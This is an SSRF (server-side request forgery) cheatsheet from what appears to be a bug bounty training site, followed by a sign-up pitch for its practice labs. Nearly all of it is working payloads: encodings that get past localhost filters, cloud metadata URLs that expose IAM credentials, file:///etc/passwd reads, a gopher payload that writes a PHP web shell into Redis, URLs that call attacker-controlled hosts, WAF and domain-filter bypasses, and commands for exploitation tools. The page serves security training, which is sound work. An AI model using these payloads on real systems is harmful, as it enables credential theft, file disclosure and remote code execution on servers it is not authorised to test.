SSRF Cheatsheet

Server-Side Request Forgery

Quick reference

→Always try alternative representations of 127.0.0.1: decimal, octal, hex, IPv6
→AWS IMDSv2 requires a prior token via PUT — IMDSv1 is directly accessible
→A 302 redirect from your own server can bypass protocol filters (http -> file://)
→The gopher:// protocol lets you interact with almost any internal TCP service
→Look for SSRF in URL parameters, webhooks, integrations, file imports and image/PDF parsers

Localhost bypass

Basic IPv4

http://127.0.0.1:80

Shortened IPv4

http://127.1:80

Zero as localhost

http://0

IPv6 localhost

http://[::]:80/

Full IPv6

http://[0000::1]:80/

Decimal bypass2130706433 = 127.0.0.1 in decimal

http://2130706433/

Octal bypass

http://0177.0000.0000.0001

Hexadecimal bypass

http://0x7f000001/

DNS rebinding and resolution

nip.io wildcard

http://127.0.0.1.nip.io

localtest.meAlways resolves to 127.0.0.1

http://localtest.me

Spoofed collaboratorSet up a DNS record pointing to 127.0.0.1

http://spoofed.burpcollaborator.net

Unicode dotsFullwidth dots that some parsers don't recognize

http://127。0。0。1

Enclosed alphanumeric

http://①②⑦.⓪.⓪.⓪

Cloud metadata endpoints

AWS IMDSv1 - IAM credentials

http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE]

AWS - user-data

http://169.254.169.254/latest/user-data

AWS - hostname

http://169.254.169.254/latest/meta-data/hostname

Google CloudRequires the Metadata-Flavor: Google header

http://metadata.google.internal/computeMetadata/v1/

AzureRequires the Metadata: true header

http://169.254.169.254/metadata/instance?api-version=2017-04-02

Digital Ocean

http://169.254.169.254/metadata/v1.json

Oracle Cloud

http://192.0.0.192/latest/meta-data/

Alibaba Cloud

http://100.100.100.200/latest/meta-data/

Alternative protocols

file:// - file read

file:///etc/passwd

dict:// - TCP interaction

dict://attacker:11111/

gopher:// - raw TCP (Redis RCE)Requires gopher support on the server

gopher://localhost:6379/_SET%20shell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22

sftp://

sftp://evil.com:11111/

ldap://

ldap://localhost:11211/%0astats%0aquit

file:// with extension bypassThe ? bypasses file-extension validation

file:///etc/passwd%3F/

Domain filter bypass

Credentials in URL

https://{domain}@attacker.com

Attacker's subdomain

https://{domain}.attacker.com

Fragment bypass

https://attacker.com#{domain}

Null byte

https://attacker.com%00{domain}

Backslash trick (WHATWG)WHATWG treats \ as / but RFC3986 doesn't

http://attacker.com\@{domain}

Parameter pollution

next={domain}&next=attacker.com

WAF bypass

WAF	Técnica	Payload
127.0.0.1 IP filter	Decimal representation	http://2130706433/
169.254.* IP filter	IPv6-mapped IPv4	http://[0:0:0:0:0:ffff:169.254.169.254]/
Protocol filter	302 redirect to file://	http://attacker.com/redirect -> file:///etc/passwd
Domain filter	DNS rebinding	http://1ynrnhl.xip.io (resuelve a 169.254.169.254)
URL validation	WHATWG backslash trick	http://attacker.com\@allowed-domain.com
Regex filter	Enclosed alphanumeric Unicode	http://ⒶⓉⓉⒶⒸⓀⒺⓇ.ⒸⓄⓂ

Tools

SSRFmap

Automated SSRF exploitation framework with multiple modules

python3 ssrfmap.py -r request.txt -p url -m readfiles

Gopherus

Generates Gopher payloads for Redis, MySQL, FastCGI, Memcache and SMTP

python3 gopherus.py --exploit redis

Interactsh

OOB callback server to confirm blind SSRF via DNS/HTTP

interactsh-client -v

Ready to practice?

Put these payloads to work in real labs based on bug bounty reports.

See practice labs

hunters training: 650
labs from real reports: 50
completions: 380
in bounties practiced: $200,000

40 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy

BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

Create free account See the labs

No card · free Academy · cancel anytime